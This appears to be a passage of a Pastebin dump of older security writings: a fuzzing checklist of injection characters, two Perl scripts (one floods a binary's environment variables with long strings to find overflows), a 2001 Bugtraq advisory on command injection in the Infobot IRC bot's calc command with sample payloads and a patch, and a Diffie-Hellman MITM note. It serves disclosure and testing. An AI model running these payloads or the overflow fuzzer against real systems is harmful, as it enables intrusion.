  7576. f3. Poorly implemented input matching can be detected by replaying a captured session with each word replaced with unexpected input characters depending on the protocol. (e.g. "..", file globbing characters -- "*, ?, +, [, ]", regex matching characters -- "+, *, ?, ^, $, (, ), {, }, [, ]", format string vuln characters -- "%s, %d, %p, %n, etc", common exec exploitation characters -- ";, <, >, |, ", '", null and non-ascii characters)
  7577. - check for different response
  7578.  
  7579. g1. Memory leaks (not freeing dynamically allocated memory)
  7580. g2. In POP3, if memory for each message is not freed and numerous messages are read, it could cause denial of service.
  7581. g3. Memory leaks can be detected by replaying a captured session and repeating a command numerous times while checking latency and availability.
  7582. - check for latency or disconnect
  7583.  
  7584. h1. Mixing signed and unsigned number variables
  7585. h2. In HTTP, sending an negative number as the byte count (Content-Length) for a POST, assuming the httpd uses a signed variable with the byte count. (which would check out fine if the program checks to see if the content-length is < the bytes read) And in turn if it set the length variable for the POST buffer to the negative number, it could cause the processing function to read more data than is supplied.
  7586. h3. Improper mixing of signed and unsigned number variables can be detected by replaying a captured session with all numerical words inverted to their negative equivalent, or positive equivalent if negative.
  7587. - check for different response
  7588.  
  7589. i1. Failure to resolve escapes before validating
  7590. i2. In HTTP, failure to resolve unicode, specialchars, and other http escaped characters before input matching.
  7591. i3. Failure to resolve escapes before validating can be detected by replaying a normal session as well as all input matching sessions with all characters escaped.
  7592. - check for different response
  7593.  
  7594.  
  7595.  
  7596. #!/usr/bin/perl
  7597.  
  7598. # testenvs.pl - by CommPort5 [@LucidX.com]
  7599. # attempts to find and overflow environment variables
  7600. # in a binary program
  7601.  
  7602. $SIG{INT} = \&data;
  7603. $SIG{'TSTP'} = \&data;
  7604.  
  7605. die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
  7606.  
  7607. @ignore = split(/\s+/,
  7608. "TERM USER TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC _GLOBAL_OFFSET_TABLE_ --");
  7609.  
  7610. print "testenvs.pl :: tests environment variables in binary programs for buffer overflows\n";
  7611.  
  7612. open(BINARY, shift) || die "Can't open file: $!\n";
  7613. @read = <BINARY>;
  7614. close(BINARY);
  7615. $i = 0;
  7616. $tokens = @read;
  7617. while ($read[$i]) {
  7618. @tmpread = split(chr(0), $read[$i]);
  7619. $tokens = @tmpread;
  7620. $j = -1;
  7621. while ($j < $tokens) {
  7622. $j++;
  7623. $k = 0;
  7624. while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
  7625. if ($k + 1 == length($tmpread[$j])) {
  7626. $m = 0;
  7627. @s = @ignore;
  7628. $l = 0;
  7629. while ($s[$l]) {
  7630. if ($s[$l] eq $tmpread[$j]) {
  7631. $m++;
  7632. }
  7633. $l++;
  7634. }
  7635. @s = split(/,/, $result);
  7636. $l = 0;
  7637. while ($s[$l]) {
  7638. if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
  7639. $m++;
  7640. }
  7641. $l++;
  7642. }
  7643. if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
  7644. substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
  7645. if (!$result) {
  7646. $result = $tmpread[$j];
  7647. }
  7648. else {
  7649. $result = "$result, $tmpread[$j]";
  7650. }
  7651. }
  7652. }
  7653. $k++;
  7654. }
  7655. }
  7656. $i++;
  7657. }
  7658.  
  7659. &data;
  7660.  
  7661. sub data {
  7662. if ($result) {
  7663. foreach (split(/,\s*/, $result)) {
  7664. $ENV{$_} = "A" x 2500;
  7665. }
  7666. exec("$ARGV[0] " . "A" x 2500);
  7667. }
  7668. else {
  7669. print "no typical ENV variables found.\nattempt arguement overflows manually [and environment, if any].\n";
  7670. }
  7671. }
  7672.  
  7673. sub isvalid {
  7674. $char = substr(shift, 0, 1);
  7675. if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
  7676. return 1;
  7677. }
  7678. return 0;
  7679. }
  7680.  
  7681.  
  7682. #!/usr/bin/perl
  7683.  
  7684. # getenvs.pl - by CommPort5 [@LucidX.com]
  7685. # this is a hacked up and nice version of v9's getenv program
  7686. # so credits go to him
  7687.  
  7688. $SIG{INT} = \&data;
  7689. $SIG{'TSTP'} = \&data;
  7690.  
  7691. die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
  7692.  
  7693. #@ignore = split(/\s+/,
  7694. #"TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC
  7695. #_GLOBAL_OFFSET_TABLE_ --");
  7696.  
  7697. print "getenvs.pl :: finds environment variables in binary programs\n";
  7698.  
  7699. &readbinary(@ARGV);
  7700. &data;
  7701. exit(0);
  7702.  
  7703. sub readbinary {
  7704. open(BINARY, shift) || die "Can't open file: $!\n";
  7705. @read = <BINARY>;
  7706. close(BINARY);
  7707. $i = 0;
  7708. $tokens = @read;
  7709. while ($read[$i]) {
  7710. @tmpread = split(chr(0), $read[$i]);
  7711. $tokens = @tmpread;
  7712. $j = -1;
  7713. while ($j < $tokens) {
  7714. $j++;
  7715. $k = 0;
  7716. while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
  7717. if ($k + 1 == length($tmpread[$j])) {
  7718. $m = 0;
  7719. @s = @ignore;
  7720. $l = 0;
  7721. while ($s[$l]) {
  7722. if ($s[$l] eq $tmpread[$j]) {
  7723. $m++;
  7724. }
  7725. $l++;
  7726. }
  7727. @s = split(/,/, $result);
  7728. $l = 0;
  7729. while ($s[$l]) {
  7730. if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
  7731. $m++;
  7732. }
  7733. $l++;
  7734. }
  7735. if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
  7736. substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
  7737. if (!$result) {
  7738. $result = $tmpread[$j];
  7739. }
  7740. else {
  7741. $result = "$result, $tmpread[$j]";
  7742. }
  7743. }
  7744. }
  7745. $k++;
  7746. }
  7747. }
  7748. $i++;
  7749. }
  7750. }
  7751.  
  7752. sub data {
  7753. if ($result) {
  7754. print "possible ENV variables: $result\n";
  7755. }
  7756. else {
  7757. print "no typical ENV variables found.\n";
  7758. }
  7759. }
  7760.  
  7761. sub isvalid {
  7762. $char = substr(shift, 0, 1);
  7763. if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
  7764. return 1;
  7765. }
  7766. return 0;
  7767. }
  7768.  
  7769.  
  7770.  
  7771.  
  7772. Date: Tue, 6 Feb 2001 22:53:27 -0800
  7773. From: "samy [CommPort5]" <CommPort5@LUCIDX.COM>
  7774. Subject: Infobot 0.44.5.3/below remotely vulnerable (also in FreeBSD ports
  7775. To: BUGTRAQ@SECURITYFOCUS.COM
  7776.  
  7777. Advisory: Infobot 0.44.5.3 and below vulnerability [Hack-X]
  7778. This version and versions from before were also released into the
  7779. FreeBSD ports tree.
  7780. Currently there is no patched version even though I emailed the author
  7781. over a month ago about this and emailed the development list over a
  7782. week, and them saying it would be fixed immidiately although still
  7783. isn't. A patch follows below.
  7784.  
  7785. Author: samy [CommPort5@LucidX.com]
  7786. Special thanks to zsvx for helping find this problem and testing it on
  7787. multiple infobots.
  7788.  
  7789. I. Background
  7790.  
  7791. Infobot is an IRC bot written in perl for information retrieval and
  7792. storage along with channel management and many other useful tasks.
  7793.  
  7794. II. Problem Description
  7795.  
  7796. Infobot has a 'fortran math' section that's used with the 'calc'
  7797. command via IRC. If someone were to message (privately or in a
  7798. channel) with 'calc 1+1' (assuming fortran math is enabled in the
  7799. config file), the bot would return '2'. The problem is the way
  7800. this function works. It uses open() to run `bc`, which does the
  7801. actual math.
  7802. The original code was
  7803. open(P, "echo $parm|bc 2>&1 |");
  7804. which allowed someone to use |'s to escape the echo and run anything
  7805. through open(). Although, whitespaces are eliminated from user-input
  7806. with fortran math so this eliminates a lot of possibilities.
  7807. They soon fixed this bug with
  7808. open(P, "echo '$parm'|bc 2>&1 |");
  7809. This only opened up another hole. A user is now able to escape the
  7810. echo by using single-quotes and semicolons, but they are stlil
  7811. unable to use whitespaces. To get around the whitespaces, the user
  7812. is able to use a local variable set in the terminal. $IFS is, by
  7813. default on almost all systems, a newline character or whitespace.
  7814. Either of these would work, so in code you would be able to replace
  7815. a whitespace with $IFS.
  7816.  
  7817. III. Impact
  7818.  
  7819. Any malicious user would be able to run arbitrary files writable by
  7820. the user running infobot. They would also be able to recieve
  7821. information or write, since infobot automatically replies the data
  7822. the open() sent. A user would be able to easily check the operating
  7823. system and gain other information like so:
  7824. calc ';uname$IFS"-a";'
  7825. or in older versions:
  7826. calc |uname$IFS"-a"|
  7827. They would also be able to install arbitrary files and execute them.
  7828.  
  7829. IV. Workaround
  7830.  
  7831. Disable fortran math in the infobot configuration file and restart
  7832. the infobot.
  7833.  
  7834. V. Solution
  7835.  
  7836. The best solution would be to parse out certain characters from the
  7837. user's input. You can do this by adding a line to src/Math.pl in
  7838. the infobot's main directory. You will see on line 40:
  7839. $parm =~ s/\s//g;
  7840. After this line, create a new line and insert this:
  7841. $parm =~ s/[\|;']//g;
  7842. Save the file (src/Math.pl) and restart infobot.
  7843.  
  7844. --
  7845. samy -- (877) 898-1424 -- CommPort5@LucidX.com
  7846. LucidX.com / pdump.org / LA.pm.org
  7847.  
  7848.  
  7849. Preventing Man-in-the-Middle Attacks with
  7850. Diffie-Hellman Key Exchange and Authentication
  7851.  
  7852. Samy Kamkar - samy@samy.pl - August 4, 2009
  7853. h = hash(plaintext, salt) e = encrypt(plaintext, key) d = decrypt(ciphertext, key)
  7854.  
  7855.  
  7856. MAN IN THE MIDDLE ATTACK ON STANDARD AUTHENTICATION METHOD
  7857.  
  7858. Alice Mallory Bob
  7859. password = 54321 password = 54321
  7860. key = zzz alice key = zzz (DH MITMA) key = yyy
  7861. bob key = yyy (DH MITMA)
  7862. e(password,key) = passhash e(password,key) = passhash
  7863. e(54321,zzz) = "deadbeef" e(54321,yyy) = "badcoded"
  7864. SEND: "deadbeef" d(deadbeef,zzz) = 54321
  7865. e(54321,yyy) = "badcoded"
  7866. SEND->Bob: "badcoded"
  7867. RECV: "badcoded" matches
  7868.  
  7869. MITMA successful :(
  7870.  
  7871. NEW AUTHENTICATION METHOD
  7872.  
  7873. Alice Bob
  7874. password = 54321 password = 54321
  7875. key = zzz key = zzz
  7876. h(54321,key) = "blahwoot" h(54321,key) = "blahwoot"
  7877. SEND: "blahwoot
  7878. RECV: "blahwoot" matches
  7879. h(ok,password) = GOOD! h(ok,password) = GOOD!
  7880. h("ok",54321) = "awesome" h("ok",54321) = "awesome"
  7881. SEND: "awesome"
  7882. RECV: "awesome" matches
  7883. pubkey now saved for future use in known_hosts
  7884.  
  7885. DH + authentication verified
  7886.  
  7887. MAN IN THE MIDDLE ATTACK ON NEW METHOD
  7888. Alice Mallory Bob
  7889. password = 54321 password = 54321
  7890. key = zzz alice key = zzz (DH MITMA) key = yyy
  7891. bob key = yyy (DH MITMA)
  7892. h(password,key) = passhash h(password,key) = passhash
  7893. h(54321,zzz) = "blahwoot" h(54321,yyy) = "wtfmate"
  7894. SEND: "blahwoot" can't reverse hash to get pass!
  7895. can't send h(ok,password) RECV: "blahwoot" != "wtfmate"
  7896. doesn't know password SEND: BAD!
  7897. RECV: BAD!
  7898. pubkey NOT saved in known_hosts
  7899.  
  7900. both sides fail authentication
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!